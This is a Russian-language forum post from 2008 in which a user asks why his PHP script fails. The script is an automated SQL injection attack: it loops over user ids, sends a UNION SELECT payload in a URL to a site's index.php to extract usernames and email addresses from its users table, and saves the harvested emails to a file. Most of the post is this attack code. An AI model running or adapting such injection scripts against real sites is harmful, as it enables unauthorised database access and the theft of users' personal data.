Показать сообщение отдельно

  #3  
Старый 24.01.2008, 19:35
lexa
Участник форума
Регистрация: 14.01.2005
Сообщений: 169
Провел на форуме:
427901

Репутация: 23
По умолчанию

ребят укажите на мою ошибку...
вот скрипт который
1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )*
2) перебирает id как переменную $i *( id=$i/*'; )*
3) ищет в загруженной странице слово root@"localhost
*(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out)*
и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt


Код:
<? 

$handler=fopen('emails.txt','a+');
  for($i=1;$i<30;$i++)
{ 
    $filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*'; 
    echo $i.". "; 
    $str = file_get_contents($filename); 
    preg_match_all('|root@"localhost([^"]*)"|is',$str,$out); 
    if(empty($out[1][0])) echo " no mail"; 
    else{ 
      echo " get ".$out[1][0]; 
      fwrite($handler,$out[1][0]."\n"); 
    } 
    echo "\n"; 
  } 
  fclose($handler); 
?>


но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом...

в чем проблема?
 
Ответить с цитированием